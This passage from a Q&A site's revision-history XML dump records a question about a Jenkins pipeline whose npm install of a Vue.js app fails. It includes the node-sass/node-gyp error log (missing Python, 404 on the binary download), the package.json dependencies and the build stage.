&quot;^1.1.0&quot;,&#xD;&#xA;    &quot;vue-event-calendar&quot;: &quot;^1.5.2&quot;,&#xD;&#xA;    &quot;vue-full-calendar&quot;: &quot;^2.7.0&quot;,&#xD;&#xA;    &quot;vue-good-table&quot;: &quot;^2.17.4&quot;,&#xD;&#xA;    &quot;vue-hljs&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;vue-input-tag&quot;: &quot;^2.0.6&quot;,&#xD;&#xA;    &quot;vue-ins-progress-bar&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-maskedinput&quot;: &quot;^0.1.3&quot;,&#xD;&#xA;    &quot;vue-moment&quot;: &quot;^4.0.0&quot;,&#xD;&#xA;    &quot;vue-notification&quot;: &quot;^1.3.16&quot;,&#xD;&#xA;    &quot;vue-nvd3&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-pop-colorpicker&quot;: &quot;^1.0.2&quot;,&#xD;&#xA;    &quot;vue-router&quot;: &quot;^3.0.7&quot;,&#xD;&#xA;    &quot;vue-select&quot;: &quot;^3.1.0&quot;,&#xD;&#xA;    &quot;vue-slider-component&quot;: &quot;^3.0.33&quot;,&#xD;&#xA;    &quot;vue-sparklines&quot;: &quot;^0.1.9&quot;,&#xD;&#xA;    &quot;vue-stripe-elements-plus&quot;: &quot;^0.3.2&quot;,&#xD;&#xA;    &quot;vue-sweetalert2&quot;: &quot;^2.1.1&quot;,&#xD;&#xA;    &quot;vue2-google-maps&quot;: &quot;^0.10.7&quot;,&#xD;&#xA;    &quot;vuejs-datepicker&quot;: &quot;^1.6.2&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;devDependencies&quot;: {&#xD;&#xA;    &quot;@vue/cli-plugin-babel&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-plugin-eslint&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-service&quot;: &quot;^3.9.3&quot;,&#xD;&#xA;    &quot;vue-template-compiler&quot;: &quot;^2.6.10&quot;&#xD;&#xA;  },&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my pipeline code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage('Build') {&#xD;&#xA;        steps {&#xD;&#xA;            nodejs(nodeJSInstallationName: 'UI') {&#xD;&#xA;               sh &quot;npm install &amp;&amp; npm install --only=dev &amp;&amp; npm run build --${params.buildenv}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29241" PostHistoryTypeId="1" PostId="9762" RevisionGUID="a75aabd2-237a-4300-a222-4acf47ded517" CreationDate="2019-11-12T02:19:16.000" UserId="11221" Text="Issue installing NPM packages on Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="29242" PostHistoryTypeId="3" PostId="9762" RevisionGUID="a75aabd2-237a-4300-a222-4acf47ded517" CreationDate="2019-11-12T02:19:16.000" UserId="11221" Text="&lt;jenkins&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29243" PostHistoryTypeId="5" PostId="9762" RevisionGUID="c787b723-7586-4195-8ecf-89c9409b93a4" CreationDate="2019-11-12T02:25:39.117" UserId="11221" Comment="added 111 characters in body" Text="I have a Jenkins build I am using for a Vue.js application. I am trying to install all dependancies as part of the pipeline and am running into some issues. I've included the below output as well as the npm install  part of my pipeline. &#xD;&#xA;&#xD;&#xA;It looks like a python issue to me however I don't think I'm using python unless vue uses it under the hood&#xD;&#xA;&#xD;&#xA;error from below build step&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ npm install&#xD;&#xA;&gt; node-sass@4.12.0 install /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/install.js&#xD;&#xA;&#xD;&#xA;Downloading binary from https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&#xD;&#xA;Cannot download &quot;https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&quot;: &#xD;&#xA;&#xD;&#xA;HTTP error 404 Not Found&#xD;&#xA;&#xD;&#xA;Hint: If github.com is not accessible in your location&#xD;&#xA;      try setting a proxy via HTTP_PROXY, e.g. &#xD;&#xA;&#xD;&#xA;      export HTTP_PROXY=http://example.com:1234&#xD;&#xA;&#xD;&#xA;or configure npm proxy via&#xD;&#xA;&#xD;&#xA;      npm config set proxy http://example.com:8080&#xD;&#xA;&#xD;&#xA;&gt; node-sass@4.12.0 postinstall /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/build.js&#xD;&#xA;&#xD;&#xA;Building: /var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node /var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js rebuild --verbose --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=&#xD;&#xA;gyp info it worked if it ends with ok&#xD;&#xA;gyp verb cli [&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node',&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js',&#xD;&#xA;gyp verb cli   'rebuild',&#xD;&#xA;gyp verb cli   '--verbose',&#xD;&#xA;gyp verb cli   '--libsass_ext=',&#xD;&#xA;gyp verb cli   '--libsass_cflags=',&#xD;&#xA;gyp verb cli   '--libsass_ldflags=',&#xD;&#xA;gyp verb cli   '--libsass_library='&#xD;&#xA;gyp verb cli ]&#xD;&#xA;gyp info using node-gyp@3.8.0&#xD;&#xA;gyp info using node@13.1.0 | linux | x64&#xD;&#xA;gyp verb command rebuild []&#xD;&#xA;gyp verb command clean []&#xD;&#xA;gyp verb clean removing &quot;build&quot; directory&#xD;&#xA;gyp verb command configure []&#xD;&#xA;gyp verb check python checking for Python executable &quot;python2&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python2 Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python2\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp verb check python checking for Python executable &quot;python&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp ERR! configure error &#xD;&#xA;gyp ERR! stack Error: Can't find Python executable &quot;python&quot;, you can set the PYTHON env variable.&#xD;&#xA;gyp ERR! stack     at PythonFinder.failNoPython (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:484:19)&#xD;&#xA;gyp ERR! stack     at PythonFinder.&lt;anonymous&gt; (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:406:16)&#xD;&#xA;gyp ERR! stack     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:16)&#xD;&#xA;gyp ERR! stack     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp ERR! stack     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp ERR! System Linux 4.15.0-1052-aws&#xD;&#xA;gyp ERR! command &quot;/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node&quot; &quot;/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js&quot; &quot;rebuild&quot; &quot;--verbose&quot; &quot;--libsass_ext=&quot; &quot;--libsass_cflags=&quot; &quot;--libsass_ldflags=&quot; &quot;--libsass_library=&quot;&#xD;&#xA;gyp ERR! cwd /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;gyp ERR! node -v v13.1.0&#xD;&#xA;gyp ERR! node-gyp -v v3.8.0&#xD;&#xA;gyp ERR! not ok &#xD;&#xA;Build failed with error code: 1&#xD;&#xA;npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@1.2.9 (node_modules/fsevents):&#xD;&#xA;npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.9: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;&#xD;&#xA;npm ERR! code ELIFECYCLE&#xD;&#xA;npm ERR! errno 1&#xD;&#xA;npm ERR! node-sass@4.12.0 postinstall: `node scripts/build.js`&#xD;&#xA;npm ERR! Exit status 1&#xD;&#xA;npm ERR! &#xD;&#xA;npm ERR! Failed at the node-sass@4.12.0 postinstall script.&#xD;&#xA;npm ERR! This is probably not a problem with npm. There is likely additional logging output above.&#xD;&#xA;&#xD;&#xA;npm ERR! A complete log of this run can be found in:&#xD;&#xA;npm ERR!     /var/lib/jenkins/workspace/Deploy UI/.npm/_logs/2019-11-12T02_15_01_035Z-debug.log&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;package.json&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;dependencies&quot;: {&#xD;&#xA;    &quot;@agametov/vueditor&quot;: &quot;^0.4.1&quot;,&#xD;&#xA;    &quot;@chenfengyuan/vue-countdown&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;apexcharts&quot;: &quot;^3.8.3&quot;,&#xD;&#xA;    &quot;axios&quot;: &quot;^0.19.0&quot;,&#xD;&#xA;    &quot;bootstrap&quot;: &quot;^4.3.1&quot;,&#xD;&#xA;    &quot;bootstrap-social&quot;: &quot;^5.1.1&quot;,&#xD;&#xA;    &quot;bootstrap-vue&quot;: &quot;^2.0.0-rc.27&quot;,&#xD;&#xA;    &quot;chart.js&quot;: &quot;^2.8.0&quot;,&#xD;&#xA;    &quot;flag-icon-css&quot;: &quot;^3.3.0&quot;,&#xD;&#xA;    &quot;ionicons&quot;: &quot;^4.6.2&quot;,&#xD;&#xA;    &quot;moment&quot;: &quot;^2.24.0&quot;,&#xD;&#xA;    &quot;node-sass&quot;: &quot;^4.12.0&quot;,&#xD;&#xA;    &quot;sass-loader&quot;: &quot;^7.1.0&quot;,&#xD;&#xA;    &quot;simple-line-icons&quot;: &quot;^2.4.1&quot;,&#xD;&#xA;    &quot;v-autocomplete&quot;: &quot;^1.8.2&quot;,&#xD;&#xA;    &quot;vue&quot;: &quot;^2.6.10&quot;,&#xD;&#xA;    &quot;vue-apexcharts&quot;: &quot;^1.4.0&quot;,&#xD;&#xA;    &quot;vue-bootstrap-datetimepicker&quot;: &quot;^5.0.1&quot;,&#xD;&#xA;    &quot;vue-chartjs&quot;: &quot;^3.4.2&quot;,&#xD;&#xA;    &quot;vue-custom-scrollbar&quot;: &quot;^1.1.0&quot;,&#xD;&#xA;    &quot;vue-event-calendar&quot;: &quot;^1.5.2&quot;,&#xD;&#xA;    &quot;vue-full-calendar&quot;: &quot;^2.7.0&quot;,&#xD;&#xA;    &quot;vue-good-table&quot;: &quot;^2.17.4&quot;,&#xD;&#xA;    &quot;vue-hljs&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;vue-input-tag&quot;: &quot;^2.0.6&quot;,&#xD;&#xA;    &quot;vue-ins-progress-bar&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-maskedinput&quot;: &quot;^0.1.3&quot;,&#xD;&#xA;    &quot;vue-moment&quot;: &quot;^4.0.0&quot;,&#xD;&#xA;    &quot;vue-notification&quot;: &quot;^1.3.16&quot;,&#xD;&#xA;    &quot;vue-nvd3&quot;: &quot;^1.0.0&quot;,&#xD;&#xA;    &quot;vue-pop-colorpicker&quot;: &quot;^1.0.2&quot;,&#xD;&#xA;    &quot;vue-router&quot;: &quot;^3.0.7&quot;,&#xD;&#xA;    &quot;vue-select&quot;: &quot;^3.1.0&quot;,&#xD;&#xA;    &quot;vue-slider-component&quot;: &quot;^3.0.33&quot;,&#xD;&#xA;    &quot;vue-sparklines&quot;: &quot;^0.1.9&quot;,&#xD;&#xA;    &quot;vue-stripe-elements-plus&quot;: &quot;^0.3.2&quot;,&#xD;&#xA;    &quot;vue-sweetalert2&quot;: &quot;^2.1.1&quot;,&#xD;&#xA;    &quot;vue2-google-maps&quot;: &quot;^0.10.7&quot;,&#xD;&#xA;    &quot;vuejs-datepicker&quot;: &quot;^1.6.2&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;devDependencies&quot;: {&#xD;&#xA;    &quot;@vue/cli-plugin-babel&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-plugin-eslint&quot;: &quot;^3.9.2&quot;,&#xD;&#xA;    &quot;@vue/cli-service&quot;: &quot;^3.9.3&quot;,&#xD;&#xA;    &quot;vue-template-compiler&quot;: &quot;^2.6.10&quot;&#xD;&#xA;  },&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my pipeline code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage('Build') {&#xD;&#xA;        steps {&#xD;&#xA;            nodejs(nodeJSInstallationName: 'UI') {&#xD;&#xA;               sh &quot;npm install &amp;&amp; npm install --only=dev &amp;&amp; npm run build --${params.buildenv}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29244" PostHistoryTypeId="5" PostId="9762" RevisionGUID="84ede289-33cc-41cf-b7bf-933ff1cd9ac5" CreationDate="2019-11-12T02:37:19.717" UserId="11221" Comment="added 10136 characters in body" Text="I have a Jenkins build I am using for a Vue.js application. I am trying to install all dependancies as part of the pipeline and am running into some issues. I've included the below output as well as the npm install  part of my pipeline. &#xD;&#xA;&#xD;&#xA;It looks like a python issue to me however I don't think I'm using python unless vue uses it under the hood&#xD;&#xA;&#xD;&#xA;error from below build step&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ npm install&#xD;&#xA;&gt; node-sass@4.12.0 install /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/install.js&#xD;&#xA;&#xD;&#xA;Downloading binary from https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&#xD;&#xA;Cannot download &quot;https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&quot;: &#xD;&#xA;&#xD;&#xA;HTTP error 404 Not Found&#xD;&#xA;&#xD;&#xA;Hint: If github.com is not accessible in your location&#xD;&#xA;      try setting a proxy via HTTP_PROXY, e.g. &#xD;&#xA;&#xD;&#xA;      export HTTP_PROXY=http://example.com:1234&#xD;&#xA;&#xD;&#xA;or configure npm proxy via&#xD;&#xA;&#xD;&#xA;      npm config set proxy http://example.com:8080&#xD;&#xA;&#xD;&#xA;&gt; node-sass@4.12.0 postinstall /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/build.js&#xD;&#xA;&#xD;&#xA;Building: /var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node /var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js rebuild --verbose --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=&#xD;&#xA;gyp info it worked if it ends with ok&#xD;&#xA;gyp verb cli [&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node',&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js',&#xD;&#xA;gyp verb cli   'rebuild',&#xD;&#xA;gyp verb cli   '--verbose',&#xD;&#xA;gyp verb cli   '--libsass_ext=',&#xD;&#xA;gyp verb cli   '--libsass_cflags=',&#xD;&#xA;gyp verb cli   '--libsass_ldflags=',&#xD;&#xA;gyp verb cli   '--libsass_library='&#xD;&#xA;gyp verb cli ]&#xD;&#xA;gyp info using node-gyp@3.8.0&#xD;&#xA;gyp info using node@13.1.0 | linux | x64&#xD;&#xA;gyp verb command rebuild []&#xD;&#xA;gyp verb command clean []&#xD;&#xA;gyp verb clean removing &quot;build&quot; directory&#xD;&#xA;gyp verb command configure []&#xD;&#xA;gyp verb check python checking for Python executable &quot;python2&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python2 Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python2\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp verb check python checking for Python executable &quot;python&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp ERR! configure error &#xD;&#xA;gyp ERR! stack Error: Can't find Python executable &quot;python&quot;, you can set the PYTHON env variable.&#xD;&#xA;gyp ERR! stack     at PythonFinder.failNoPython (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:484:19)&#xD;&#xA;gyp ERR! stack     at PythonFinder.&lt;anonymous&gt; (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:406:16)&#xD;&#xA;gyp ERR! stack     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:16)&#xD;&#xA;gyp ERR! stack     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp ERR! stack     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp ERR! System Linux 4.15.0-1052-aws&#xD;&#xA;gyp ERR! command &quot;/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node&quot; &quot;/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js&quot; &quot;rebuild&quot; &quot;--verbose&quot; &quot;--libsass_ext=&quot; &quot;--libsass_cflags=&quot; &quot;--libsass_ldflags=&quot; &quot;--libsass_library=&quot;&#xD;&#xA;gyp ERR! cwd /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;gyp ERR! node -v v13.1.0&#xD;&#xA;gyp ERR! node-gyp -v 